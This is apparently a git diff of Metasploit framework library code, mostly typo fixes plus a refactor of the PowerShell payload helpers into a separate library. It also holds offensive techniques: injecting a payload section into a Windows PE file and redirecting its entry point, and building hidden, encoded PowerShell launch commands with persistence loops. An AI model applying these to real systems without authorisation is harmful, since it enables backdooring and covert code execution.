pe.mz.encoded.export = pe_orig.encoded[0, 512].export.dup
|
||||
pe.header.time = pe_orig.header.time
|
||||
|
||||
# Don't rebase if we can help it since Metasm doesn't do relocations well
|
||||
pe.optheader.dll_characts.delete("DYNAMIC_BASE")
|
||||
|
||||
# TODO: Look at supporting DLLs in the future
|
||||
prefix = ''
|
||||
|
||||
# Create a new section
|
||||
s = Metasm::PE::Section.new
|
||||
s.name = '.' + Rex::Text.rand_text_alpha_lower(4)
|
||||
s.encoded = payload_stub prefix
|
||||
s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE]
|
||||
|
||||
pe.sections << s
|
||||
pe.invalidate_header
|
||||
|
||||
# Change the entrypoint to our new section
|
||||
pe.optheader.entrypoint = 'new_entrypoint'
|
||||
pe.cpu = pe_orig.cpu
|
||||
|
||||
pe.encode_string
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -59,20 +59,11 @@ module Exe
|
|||
EOS
|
||||
end
|
||||
|
||||
def payload_as_asm
|
||||
asm = ''
|
||||
@payload.each_byte do |byte|
|
||||
asm << "db " + sprintf("0x%02x", byte) + "\n"
|
||||
end
|
||||
return asm
|
||||
end
|
||||
|
||||
def payload_stub(prefix)
|
||||
asm = "hook_entrypoint:\n#{prefix}\n"
|
||||
asm << create_thread_stub
|
||||
asm << payload_as_asm
|
||||
shellcode = Metasm::Shellcode.assemble(processor, asm)
|
||||
shellcode.encoded
|
||||
shellcode.encoded + @payload
|
||||
end
|
||||
|
||||
def generate_pe
|
||||
|
|
|
@ -866,7 +866,7 @@ class Exploit < Msf::Module
|
|||
|
||||
#
|
||||
# Minimum number of nops to use as a hint to the framework.
|
||||
# Nil snigifies that the framework should decide.
|
||||
# Nil signifies that the framework should decide.
|
||||
#
|
||||
def payload_min_nops(explicit_target = nil)
|
||||
explicit_target ||= target
|
||||
|
@ -1218,10 +1218,31 @@ class Exploit < Msf::Module
|
|||
# Failure tracking
|
||||
##
|
||||
|
||||
# Raises a Msf::Exploit::Failed exception. It overrides the fail_with method
|
||||
# in lib/msf/core/module.rb
|
||||
#
|
||||
# @param reason [String] A constant from Msf::Module::Failure.
|
||||
# If the reason does not come from there, then it will default to
|
||||
# Msf::Module::Failure::Unknown.
|
||||
# @param msg [String] (Optional) A message about the failure.
|
||||
# @raise [Msf::Exploit::Failed] A custom Msf::Exploit::Failed exception.
|
||||
# @return [void]
|
||||
# @see Msf::Module::Failure
|
||||
# @see Msf::Module#fail_with
|
||||
# @example
|
||||
# fail_with(Msf::Module::Failure::NoAccess, 'Unable to login to upload payload')
|
||||
def fail_with(reason,msg=nil)
|
||||
self.fail_reason = reason
|
||||
# The reason being registered here will be used later on, so it's important we don't actually
|
||||
# provide a made-up one.
|
||||
allowed_values = Msf::Module::Failure.constants.collect {|e| Msf::Module::Failure.const_get(e)}
|
||||
if allowed_values.include?(reason)
|
||||
self.fail_reason = reason
|
||||
else
|
||||
self.fail_reason = Msf::Module::Failure::Unknown
|
||||
end
|
||||
|
||||
self.fail_detail = msg
|
||||
raise Msf::Exploit::Failed, (msg || "No reason given")
|
||||
raise Msf::Exploit::Failed, (msg || "No failure message given")
|
||||
end
|
||||
|
||||
def report_failure
|
||||
|
@ -1276,7 +1297,7 @@ class Exploit < Msf::Module
|
|||
##
|
||||
|
||||
#
|
||||
# The reason why the exploit was not successful (one of Msf::Exploit::FailReason)
|
||||
# The reason why the exploit was not successful (one of Msf::Module::Failure)
|
||||
#
|
||||
attr_accessor :fail_reason
|
||||
|
||||
|
@ -1393,4 +1414,3 @@ protected
|
|||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
|
@ -228,14 +228,14 @@ module Exploit::Remote::AFP
|
|||
parsed_data[:machine_type] = read_pascal_string(body, machine_type_offset)
|
||||
parsed_data[:versions] = read_array(body, afp_versions_offset)
|
||||
parsed_data[:uams] = read_array(body, uam_count_offset)
|
||||
# skiped icon
|
||||
# skipped icon
|
||||
parsed_data[:server_flags] = parse_flags(server_flags)
|
||||
parsed_data[:signature] = body.unpack("@#{server_signature_offset}H32").first
|
||||
|
||||
network_addresses = read_array(body, network_addresses_offset, true)
|
||||
parsed_data[:network_addresses] = parse_network_addresses(network_addresses)
|
||||
# skiped directory names
|
||||
#Error catching for offset issues on this field. Need better error ahndling all through here
|
||||
# skipped directory names
|
||||
#Error catching for offset issues on this field. Need better error handling all through here
|
||||
begin
|
||||
parsed_data[:utf8_server_name] = read_utf8_pascal_string(body, utf8_servername_offset)
|
||||
rescue
|
||||
|
@ -289,7 +289,7 @@ module Exploit::Remote::AFP
|
|||
parsed_addreses << IPAddr.ntop(address[1..4]).to_s
|
||||
when 2 # Four-byte IP address followed by a two-byte port number
|
||||
parsed_addreses << "#{IPAddr.ntop(address[1..4])}:#{address[5..6].unpack("n").first}"
|
||||
when 3 # DDP address (depricated)
|
||||
when 3 # DDP address (deprecated)
|
||||
next
|
||||
when 4 # DNS name (maximum of 254 bytes)
|
||||
parsed_addreses << address[1..address.length - 1]
|
||||
|
|
|
@ -5,7 +5,7 @@ module Msf
|
|||
#
|
||||
# This module provides methods for sending and receiving
|
||||
# raw packets. It should be preferred over the soon-to-be
|
||||
# deprecated Rex::Socket::Ip and Msf::Exploite::Remote::Ip
|
||||
# deprecated Rex::Socket::Ip and Msf::Exploit::Remote::Ip
|
||||
# mixins.
|
||||
#
|
||||
# Please see the pcaprub documentation for more information
|
||||
|
@ -379,7 +379,7 @@ module Msf
|
|||
self.arp_cache = {}
|
||||
end
|
||||
|
||||
# For compatabilty with Msf::Exploit::Remote::Ip
|
||||
# For compatibilty with Msf::Exploit::Remote::Ip
|
||||
def rhost
|
||||
datastore['RHOST']
|
||||
end
|
||||
|
@ -450,7 +450,7 @@ module Msf
|
|||
end
|
||||
end
|
||||
|
||||
# This function is usefull only on windows where pcaprub use the GUID
|
||||
# This function is useful only on windows where pcaprub use the GUID
|
||||
def get_interface_guid(dev)
|
||||
check_pcaprub_loaded
|
||||
if RUBY_PLATFORM == "i386-mingw32"
|
||||
|
@ -473,7 +473,7 @@ module Msf
|
|||
dev = get_interface_guid(dev)
|
||||
addrs = NetworkInterface.addresses(dev)
|
||||
raise RuntimeError, "Interface #{dev} does not exist" if !addrs
|
||||
raise RuntimeError, "Can not get mac address for interface #{dev}" if !addrs[NetworkInterface::AF_LINK][0]['addr']
|
||||
raise RuntimeError, "Cannot get mac address for interface #{dev}" if !addrs[NetworkInterface::AF_LINK][0]['addr']
|
||||
addrs[NetworkInterface::AF_LINK][0]['addr']
|
||||
end
|
||||
|
||||
|
@ -491,7 +491,7 @@ module Msf
|
|||
addrs = NetworkInterface.addresses(dev)
|
||||
raise RuntimeError, "Interface #{dev} does not exist" if !addrs
|
||||
raise RuntimeError, "Interface #{dev} does not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1
|
||||
raise RuntimeError, "Can not get the IPv4 address for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['addr']
|
||||
raise RuntimeError, "Cannot get the IPv4 address for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['addr']
|
||||
addrs[NetworkInterface::AF_INET][num]['addr']
|
||||
end
|
||||
|
||||
|
@ -501,7 +501,7 @@ module Msf
|
|||
addrs = NetworkInterface.addresses(dev)
|
||||
raise RuntimeError, "Interface #{dev} does not exist" if !addrs
|
||||
raise RuntimeError, "Interface #{dev} does not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1
|
||||
raise RuntimeError, "Can not get IPv4 netmask for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['netmask']
|
||||
raise RuntimeError, "Cannot get IPv4 netmask for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['netmask']
|
||||
addrs[NetworkInterface::AF_INET][num]['netmask']
|
||||
end
|
||||
|
||||
|
@ -511,7 +511,7 @@ module Msf
|
|||
addrs = NetworkInterface.addresses(dev)
|
||||
raise RuntimeError, "Interface #{dev} do not exists" if !addrs
|
||||
raise RuntimeError, "Interface #{dev} do not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1
|
||||
raise RuntimeError, "Can not get IPv4 broadcast address for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['broadcast']
|
||||
raise RuntimeError, "Cannot get IPv4 broadcast address for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['broadcast']
|
||||
addrs[NetworkInterface::AF_INET][num]['broadcast']
|
||||
end
|
||||
|
||||
|
@ -532,7 +532,7 @@ module Msf
|
|||
addrs = NetworkInterface.addresses(dev)
|
||||
raise RuntimeError, "Interface #{dev} do not exists" if !addrs
|
||||
raise RuntimeError, "Interface #{dev} do not have an ipv6 address at position #{num}" if addrs[NetworkInterface::AF_INET6].length < num + 1
|
||||
raise RuntimeError, "Can not get ipv6 address for interface #{dev}" if !addrs[NetworkInterface::AF_INET6][num]['addr']
|
||||
raise RuntimeError, "Cannot get ipv6 address for interface #{dev}" if !addrs[NetworkInterface::AF_INET6][num]['addr']
|
||||
addrs[NetworkInterface::AF_INET6][num]['addr'].gsub(/%(.)*$/, '')
|
||||
end
|
||||
|
||||
|
@ -543,7 +543,7 @@ module Msf
|
|||
addrs = NetworkInterface.addresses(dev)
|
||||
raise RuntimeError, "Interface #{dev} do not exists" if !addrs
|
||||
raise RuntimeError, "Interface #{dev} do not have an ipv6 address at position #{num}" if addrs[NetworkInterface::AF_INET6].length < num + 1
|
||||
raise RuntimeError, "Can not get ipv6 netmask address for interface #{dev}" if !addrs[NetworkInterface::AF_INET6][num]['netmask']
|
||||
raise RuntimeError, "Cannot get ipv6 netmask address for interface #{dev}" if !addrs[NetworkInterface::AF_INET6][num]['netmask']
|
||||
addrs[NetworkInterface::AF_INET6][num]['netmask']
|
||||
end
|
||||
|
||||
|
|
|
@ -108,7 +108,7 @@ module Exploit::CmdStager
|
|||
# @option opts :decoder [Symbol] The decoder stub to use.
|
||||
# @param pl [String] String containing the payload to execute
|
||||
# @return [Array] The list of commands to execute
|
||||
# @raise [ArgumentError] raised if the cmd stub can not be generated
|
||||
# @raise [ArgumentError] raised if the cmd stub cannot be generated
|
||||
def generate_cmdstager(opts = {}, pl = nil)
|
||||
select_cmdstager(opts)
|
||||
|
||||
|
@ -138,12 +138,12 @@ module Exploit::CmdStager
|
|||
|
||||
# Selects the correct cmd stager and decoder stub to use
|
||||
#
|
||||
# @param opts [Hash] Hash containing the options to select te correct cmd
|
||||
# @param opts [Hash] Hash containing the options to select the correct cmd
|
||||
# stager and decoder.
|
||||
# @option opts :flavor [Symbol] The cmd stager to use.
|
||||
# @option opts :decoder [Symbol] The decoder stub to use.
|
||||
# @return [void]
|
||||
# @raise [ArgumentError] raised if a cmd stager can not be selected or it
|
||||
# @raise [ArgumentError] raised if a cmd stager cannot be selected or it
|
||||
# isn't compatible with the target platform.
|
||||
def select_cmdstager(opts = {})
|
||||
self.flavor = select_flavor(opts)
|
||||
|
@ -188,11 +188,11 @@ module Exploit::CmdStager
|
|||
# user through datastore options, (3) select the default decoder for the
|
||||
# current cmd stager flavor if available.
|
||||
#
|
||||
# @param opts [Hash] Hash containing the options to select te correct
|
||||
# @param opts [Hash] Hash containing the options to select the correct
|
||||
# decoder.
|
||||
# @option opts :decoder [String] The decoder stub to use.
|
||||
# @return [String] The decoder.
|
||||
# @return [nil] if a decoder can not be selected.
|
||||
# @return [nil] if a decoder cannot be selected.
|
||||
def select_decoder(opts = {})
|
||||
return opts[:decoder] if opts.include?(:decoder)
|
||||
return datastore['CMDSTAGER::DECODER'] unless datastore['CMDSTAGER::DECODER'].blank?
|
||||
|
@ -203,11 +203,11 @@ module Exploit::CmdStager
|
|||
# flavor provided in options, (2) use the flavor provided by the user
|
||||
# through datastore options, (3) guess the flavor using the target platform.
|
||||
#
|
||||
# @param opts [Hash] Hash containing the options to select te correct cmd
|
||||
# @param opts [Hash] Hash containing the options to select the correct cmd
|
||||
# stager
|
||||
# @option opts :flavor [Symbol] The cmd stager flavor to use.
|
||||
# @return [Symbol] The flavor to use.
|
||||
# @return [nil] if a flavor can not be selected.
|
||||
# @return [nil] if a flavor cannot be selected.
|
||||
def select_flavor(opts = {})
|
||||
return opts[:flavor].to_sym if opts.include?(:flavor)
|
||||
unless datastore['CMDSTAGER::FLAVOR'].blank? or datastore['CMDSTAGER::FLAVOR'] == 'auto'
|
||||
|
@ -220,7 +220,7 @@ module Exploit::CmdStager
|
|||
# target or platform.
|
||||
#
|
||||
# @return [Symbol] The cmd stager flavor to use.
|
||||
# @return [nil] if the cmd stager flavor can not be guessed.
|
||||
# @return [nil] if the cmd stager flavor cannot be guessed.
|
||||
def guess_flavor
|
||||
# First try to guess a compatible flavor based on the module & target information.
|
||||
unless target_flavor.nil?
|
||||
|
@ -252,7 +252,7 @@ module Exploit::CmdStager
|
|||
end
|
||||
|
||||
# Returns all the compatible stager flavors specified by the module and each
|
||||
# of it's targets.
|
||||
# of its targets.
|
||||
#
|
||||
# @return [Array] the list of all compatible cmd stager flavors.
|
||||
def module_flavors
|
||||
|
|
|
@ -54,7 +54,7 @@ module Exploit::FileDropper
|
|||
# We need to be platform-independent here. Since we can't be
|
||||
# certain that {#target} is accurate because exploits with
|
||||
# automatic targets frequently change it, we just go ahead and
|
||||
# run both a windows and a unixy command in the same line. One
|
||||
# run both a windows and a unix command in the same line. One
|
||||
# of them will definitely fail and the other will probably
|
||||
# succeed. Doing it this way saves us an extra round-trip.
|
||||
# Trick shared by @mihi42
|
||||
|
|
|
@ -238,7 +238,7 @@ module Exploit::FormatString
|
|||
# no need to advance :)
|
||||
return "" if prec == 0
|
||||
|
||||
# asumming %x max normal length is 8...
|
||||
# assuming %x max normal length is 8...
|
||||
if prec >= 8
|
||||
return "%0" + prec.to_s + "x"
|
||||
end
|
||||
|
|
|
@ -211,7 +211,7 @@ module Exploit::Remote::Ftp
|
|||
|
||||
# dispatch to the proper method
|
||||
if (type == "get")
|
||||
# failed listings jsut disconnect..
|
||||
# failed listings just disconnect..
|
||||
begin
|
||||
data = self.datasocket.get_once(-1, ftp_timeout)
|
||||
rescue ::EOFError
|
||||
|
|
|
@ -24,7 +24,7 @@ module Exploit::Remote::Gdb
|
|||
# thrown when a checksum is invalid
|
||||
class BadChecksumError < RuntimeError; end
|
||||
|
||||
# Default list of supported GDB features to send the to the target
|
||||
# Default list of supported GDB features to send them to the target
|
||||
GDB_FEATURES = 'qSupported:multiprocess+;qRelocInsn+;qvCont+;'
|
||||
|
||||
# Maps index of register in GDB that holds $PC to architecture
|
||||
|
|
|
@ -229,7 +229,7 @@ module Exploit::Remote::HttpServer
|
|||
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
|
||||
|
||||
if (opts['ServerHost'] == '0.0.0.0')
|
||||
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
|
||||
print_status("Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
|
||||
end
|
||||
|
||||
add_resource(uopts)
|
||||
|
@ -305,7 +305,7 @@ module Exploit::Remote::HttpServer
|
|||
when /opera\/(\d+(:?\.\d+)*)/
|
||||
fp[:ua_name] = HttpClients::OPERA
|
||||
fp[:ua_ver] = $1
|
||||
when /mozilla\/[0-9]+\.[0-9] \(compatible; msie ([0-9]+\.[0-9]+)/
|
||||
when /mozilla\/[0-9]+\.[0-9] \(compatible; msie ([0-9]+\.[0-9]+)/i, /mozilla\/[0-9]+\.[0-9] \(.+ rv:([0-9]+\.[0-9])\)/i
|
||||
fp[:ua_name] = HttpClients::IE
|
||||
fp[:ua_ver] = $1
|
||||
else
|
||||
|
@ -453,7 +453,7 @@ module Exploit::Remote::HttpServer
|
|||
# Returns the last-used resource path
|
||||
#
|
||||
def get_resource
|
||||
# We don't want modules modifying their service_path inadvertantly, so
|
||||
# We don't want modules modifying their service_path inadvertently, so
|
||||
# give them a dup. Can be nil during module setup.
|
||||
@service_path ? @service_path.dup : nil
|
||||
end
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
# -*- coding: binary -*-
|
||||
###
|
||||
#
|
||||
# This mixn provides methods for interacting with a JDK installation to perform
|
||||
# This mixin provides methods for interacting with a JDK installation to perform
|
||||
# functions such as dynamic compilation and jar signing.
|
||||
#
|
||||
# Dependencies:
|
||||
|
@ -108,7 +108,7 @@ module Exploit::Java
|
|||
if classnames.class == [].class && codez.class == [].class
|
||||
# default compile class
|
||||
begin
|
||||
# Sames as java_compiler_klass.CompileFromMemory( String[] classnames,
|
||||
# Same as java_compiler_klass.CompileFromMemory( String[] classnames,
|
||||
# String[] codez, String[] compilerOptions)
|
||||
success = java_compiler_klass._invoke('CompileFromMemory',
|
||||
# Signature explained: [ means array, Lpath.to.object; means object
|
||||
|
|
|
@ -134,7 +134,7 @@ module Exploit::Remote::MSSQL_SQLI
|
|||
end
|
||||
|
||||
#
|
||||
# Issue a SQL query using the the SQL injection point
|
||||
# Issue a SQL query using the SQL injection point
|
||||
#
|
||||
def mssql_query(sqla, doprint=false)
|
||||
|
||||
|
|
|
@ -92,7 +92,7 @@ module Exploit::Remote::NDMP
|
|||
self.recv_buff << ( sock.get_once( 4 - self.recv_buff.length, 5) || '' )
|
||||
end
|
||||
|
||||
# If we did not recieve a full length value, return early
|
||||
# If we did not receive a full length value, return early
|
||||
if (self.recv_buff.length < 4)
|
||||
return false
|
||||
end
|
||||
|
|
|
@ -10,7 +10,7 @@ module Msf
|
|||
###
|
||||
#
|
||||
# This mixins will only provide the options name and description when a protocol want to use ntlm features from lib/rex/proto/ntlm .
|
||||
# Unfortunatly other mixin's still have to make direct call from lib/rex/proto/ntlm
|
||||
# Unfortunately other mixin's still have to make direct call from lib/rex/proto/ntlm
|
||||
# cause some protocol like SMB are implemented in lib/rex/proto/ while others like mssql are implemented in lib/msf/core/exploit
|
||||
#
|
||||
###
|
||||
|
|
|
@ -100,7 +100,7 @@ module Exploit::ORACLE
|
|||
# The Handling is a little different for certain types of query
|
||||
# Mainly Select needs a fetch statement to get the data
|
||||
# Also return types are a little different (some return rows changed so we can used that)
|
||||
# The case statement could probaby be collapsed a bit but leaving it as is for the moment
|
||||
# The case statement could probably be collapsed a bit but leaving it as is for the moment
|
||||
# in case it's useful later...
|
||||
|
||||
# Select Queries
|
||||
|
|
|
@ -218,7 +218,7 @@ module Exploit::PDF
|
|||
end
|
||||
|
||||
##
|
||||
#Controller funtion, should be entrypoint for pdf exploits
|
||||
#Controller function, should be entrypoint for pdf exploits
|
||||
##
|
||||
def create_pdf(js)
|
||||
strFilter = ""
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
# -*- coding: binary -*-
|
||||
###
|
||||
#
|
||||
# This module provides methods for parseing and interacting
|
||||
# This module provides methods for parsing and interacting
|
||||
# with the PDF format.
|
||||
#
|
||||
###
|
||||
|
|
|
@ -205,7 +205,7 @@ module Exploit::Remote::Postgres
|
|||
# result of "select version()" if authentication was successful.
|
||||
#
|
||||
# @return [Hash] A hash containing the version in one of the keys :preauth,
|
||||
# :auth, or :unkown, depending on how it was determined
|
||||
# :auth, or :unknown, depending on how it was determined
|
||||
# @see #postgres_authed_fingerprint
|
||||
# @see #analyze_auth_error
|
||||
def postgres_fingerprint(args={})
|
||||
|
|
|
@ -1,10 +1,8 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/exploitation/powershell'
|
||||
require 'rex/powershell'
|
||||
|
||||
module Msf
|
||||
module Exploit::Powershell
|
||||
PowershellScript = Rex::Exploitation::Powershell::Script
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
register_advanced_options(
|
||||
|
@ -27,15 +25,13 @@ module Exploit::Powershell
|
|||
#
|
||||
# @return [String] Encoded script
|
||||
def encode_script(script_in)
|
||||
# Build script object
|
||||
psh = PowershellScript.new(script_in)
|
||||
# Invoke enabled modifiers
|
||||
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
|
||||
opts = {}
|
||||
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ && v }.keys.map do |k|
|
||||
mod_method = k.split('::').last.intern
|
||||
psh.send(mod_method)
|
||||
opts[mod_method.to_sym] = true
|
||||
end
|
||||
|
||||
psh.encode_code
|
||||
Rex::Powershell::Command.encode_script(script_in, opts)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -46,16 +42,14 @@ module Exploit::Powershell
|
|||
# @param eof [String] Marker to indicate the end of file appended to script
|
||||
#
|
||||
# @return [String] Compressed script with decompression stub
|
||||
def compress_script(script_in, eof = nil)
|
||||
# Build script object
|
||||
psh = PowershellScript.new(script_in)
|
||||
# Invoke enabled modifiers
|
||||
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
|
||||
def compress_script(script_in, eof=nil)
|
||||
opts = {}
|
||||
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ && v }.keys.map do |k|
|
||||
mod_method = k.split('::').last.intern
|
||||
psh.send(mod_method)
|
||||
opts[mod_method.to_sym] = true
|
||||
end
|
||||
|
||||
psh.compress_code(eof)
|
||||
Rex::Powershell::Command.compress_script(script_in, eof, opts)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -69,19 +63,7 @@ module Exploit::Powershell
|
|||
#
|
||||
# @return [String] Powershell command line with arguments
|
||||
def generate_psh_command_line(opts)
|
||||
if opts[:path] and (opts[:path][-1, 1] != '\\')
|
||||
opts[:path] << '\\'
|
||||
end
|
||||
|
||||
if opts[:no_full_stop]
|
||||
binary = 'powershell'
|
||||
else
|
||||
binary = 'powershell.exe'
|
||||
end
|
||||
|
||||
args = generate_psh_args(opts)
|
||||
|
||||
"#{opts[:path]}#{binary} #{args}"
|
||||
Rex::Powershell::Command.generate_psh_command_line(opts)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -122,66 +104,7 @@ module Exploit::Powershell
|
|||
opts[:shorten] = (datastore['Powershell::method'] != 'old')
|
||||
end
|
||||
|
||||
arg_string = ' '
|
||||
opts.each_pair do |arg, value|
|
||||
case arg
|
||||
when :encodedcommand
|
||||
arg_string << "-EncodedCommand #{value} " if value
|
||||
when :executionpolicy
|
||||
arg_string << "-ExecutionPolicy #{value} " if value
|
||||
when :inputformat
|
||||
arg_string << "-InputFormat #{value} " if value
|
||||
when :file
|
||||
arg_string << "-File #{value} " if value
|
||||
when :noexit
|
||||
arg_string << '-NoExit ' if value
|
||||
when :nologo
|
||||
arg_string << '-NoLogo ' if value
|
||||
when :noninteractive
|
||||
arg_string << '-NonInteractive ' if value
|
||||
when :mta
|
||||
arg_string << '-Mta ' if value
|
||||
when :outputformat
|
||||
arg_string << "-OutputFormat #{value} " if value
|
||||
when :sta
|
||||
arg_string << '-Sta ' if value
|
||||
when :noprofile
|
||||
arg_string << '-NoProfile ' if value
|
||||
when :windowstyle
|
||||
arg_string << "-WindowStyle #{value} " if value
|
||||
end
|
||||
end
|
||||
|
||||
# Command must be last (unless from stdin - etc)
|
||||
if opts[:command]
|
||||
arg_string << "-Command #{opts[:command]}"
|
||||
end
|
||||
|
||||
# Shorten arg if PSH 2.0+
|
||||
if opts[:shorten]
|
||||
# Invoke-Command and Out-File require these options to have
|
||||
# an additional space before to prevent Powershell code being
|
||||
# mangled.
|
||||
arg_string.gsub!(' -Command ', ' -c ')
|
||||
arg_string.gsub!('-EncodedCommand ', '-e ')
|
||||
arg_string.gsub!('-ExecutionPolicy ', '-ep ')
|
||||
arg_string.gsub!(' -File ', ' -f ')
|
||||
arg_string.gsub!('-InputFormat ', '-i ')
|
||||
arg_string.gsub!('-NoExit ', '-noe ')
|
||||
arg_string.gsub!('-NoLogo ', '-nol ')
|
||||
arg_string.gsub!('-NoProfile ', '-nop ')
|
||||
arg_string.gsub!('-NonInteractive ', '-noni ')
|
||||
arg_string.gsub!('-OutputFormat ', '-o ')
|
||||
arg_string.gsub!('-Sta ', '-s ')
|
||||
arg_string.gsub!('-WindowStyle ', '-w ')
|
||||
end
|
||||
|
||||
# Strip off first space character
|
||||
arg_string = arg_string[1..-1]
|
||||
# Remove final space character
|
||||
arg_string = arg_string[0..-2] if (arg_string[-1] == ' ')
|
||||
|
||||
arg_string
|
||||
Rex::Powershell::Command.generate_psh_args(opts)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -196,41 +119,15 @@ module Exploit::Powershell
|
|||
# @return [String] Wrapped powershell code
|
||||
def run_hidden_psh(ps_code, payload_arch, encoded)
|
||||
arg_opts = {
|
||||
noprofile: true,
|
||||
windowstyle: 'hidden',
|
||||
noprofile: true,
|
||||
windowstyle: 'hidden',
|
||||
}
|
||||
|
||||
if encoded
|
||||
arg_opts[:encodedcommand] = ps_code
|
||||
else
|
||||
arg_opts[:command] = ps_code.gsub("'", "''")
|
||||
end
|
||||
|
||||
# Old technique fails if powershell exits..
|
||||
arg_opts[:noexit] = true if datastore['Powershell::method'] == 'old'
|
||||
arg_opts[:noexit] = (datastore['Powershell::method'] == 'old')
|
||||
arg_opts[:shorten] = (datastore['Powershell::method'] != 'old')
|
||||
|
||||
ps_args = generate_psh_args(arg_opts)
|
||||
|
||||
process_start_info = <<EOS
|
||||
$s=New-Object System.Diagnostics.ProcessStartInfo
|
||||
$s.FileName=$b
|
||||
$s.Arguments='#{ps_args}'
|
||||
$s.UseShellExecute=$false
|
||||
$p=[System.Diagnostics.Process]::Start($s)
|
||||
EOS
|
||||
process_start_info.gsub!("\n", ';')
|
||||
|
||||
archictecure_detection = <<EOS
|
||||
if([IntPtr]::Size -eq 4){
|
||||
#{payload_arch == 'x86' ? "$b='powershell.exe'" : "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"}
|
||||
}else{
|
||||
#{payload_arch == 'x86' ? "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" : "$b='powershell.exe'"}
|
||||
};
|
||||
EOS
|
||||
|
||||
archictecure_detection.gsub!("\n", '')
|
||||
|
||||
archictecure_detection + process_start_info
|
||||
Rex::Powershell::Command.run_hidden_psh(ps_code, payload_arch, encoded, arg_opts)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -263,118 +160,28 @@ EOS
|
|||
opts[:prepend_sleep] ||= datastore['Powershell::prepend_sleep']
|
||||
opts[:method] ||= datastore['Powershell::method']
|
||||
|
||||
if opts[:encode_inner_payload] && opts[:encode_final_payload]
|
||||
fail RuntimeError, ':encode_inner_payload and :encode_final_payload are incompatible options'
|
||||
end
|
||||
|
||||
if opts[:no_equals] && !opts[:encode_final_payload]
|
||||
fail RuntimeError, ':no_equals requires :encode_final_payload option to be used'
|
||||
end
|
||||
|
||||
psh_payload = case opts[:method]
|
||||
when 'net'
|
||||
Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
|
||||
when 'reflection'
|
||||
Msf::Util::EXE.to_win32pe_psh_reflection(framework, pay)
|
||||
when 'old'
|
||||
Msf::Util::EXE.to_win32pe_psh(framework, pay)
|
||||
when 'msil'
|
||||
fail RuntimeError, 'MSIL Powershell method no longer exists'
|
||||
else
|
||||
fail RuntimeError, 'No Powershell method specified'
|
||||
end
|
||||
|
||||
# Run our payload in a while loop
|
||||
if opts[:persist]
|
||||
fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
|
||||
sleep_time = rand(5) + 5
|
||||
vprint_status("Sleep time set to #{sleep_time} seconds")
|
||||
psh_payload = "function #{fun_name}{#{psh_payload}};"
|
||||
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
|
||||
end
|
||||
|
||||
if opts[:prepend_sleep]
|
||||
if opts[:prepend_sleep].to_i > 0
|
||||
psh_payload = "Start-Sleep -s #{opts[:prepend_sleep]};" << psh_payload
|
||||
elsif opts[:prepend_sleep].to_i < 0
|
||||
vprint_error('Sleep time must be greater than or equal to 0 seconds')
|
||||
end
|
||||
end
|
||||
|
||||
compressed_payload = compress_script(psh_payload)
|
||||
encoded_payload = encode_script(psh_payload)
|
||||
|
||||
# This branch is probably never taken...
|
||||
if encoded_payload.length <= compressed_payload.length
|
||||
smallest_payload = encoded_payload
|
||||
encoded = true
|
||||
else
|
||||
if opts[:encode_inner_payload]
|
||||
encoded = true
|
||||
compressed_encoded_payload = encode_script(compressed_payload)
|
||||
|
||||
if encoded_payload.length <= compressed_encoded_payload.length
|
||||
smallest_payload = encoded_payload
|
||||
else
|
||||
smallest_payload = compressed_encoded_payload
|
||||
end
|
||||
else
|
||||
smallest_payload = compressed_payload
|
||||
encoded = false
|
||||
end
|
||||
end
|
||||
|
||||
# Wrap in hidden runtime / architecture detection
|
||||
final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded)
|
||||
|
||||
command_args = {
|
||||
noprofile: true,
|
||||
windowstyle: 'hidden'
|
||||
}.merge(opts)
|
||||
|
||||
if opts[:encode_final_payload]
|
||||
command_args[:encodedcommand] = encode_script(final_payload)
|
||||
|
||||
# If '=' is a bad character pad the payload until Base64 encoded
|
||||
# payload contains none.
|
||||
if opts[:no_equals]
|
||||
while command_args[:encodedcommand].include? '='
|
||||
final_payload << ' '
|
||||
command_args[:encodedcommand] = encode_script(final_payload)
|
||||
end
|
||||
end
|
||||
else
|
||||
if opts[:use_single_quotes]
|
||||
# Escape Single Quotes
|
||||
final_payload.gsub!("'", "''")
|
||||
# Wrap command in quotes
|
||||
final_payload = "'#{final_payload}'"
|
||||
end
|
||||
|
||||
command_args[:command] = final_payload
|
||||
end
|
||||
|
||||
psh_command = generate_psh_command_line(command_args)
|
||||
|
||||
if opts[:remove_comspec]
|
||||
command = psh_command
|
||||
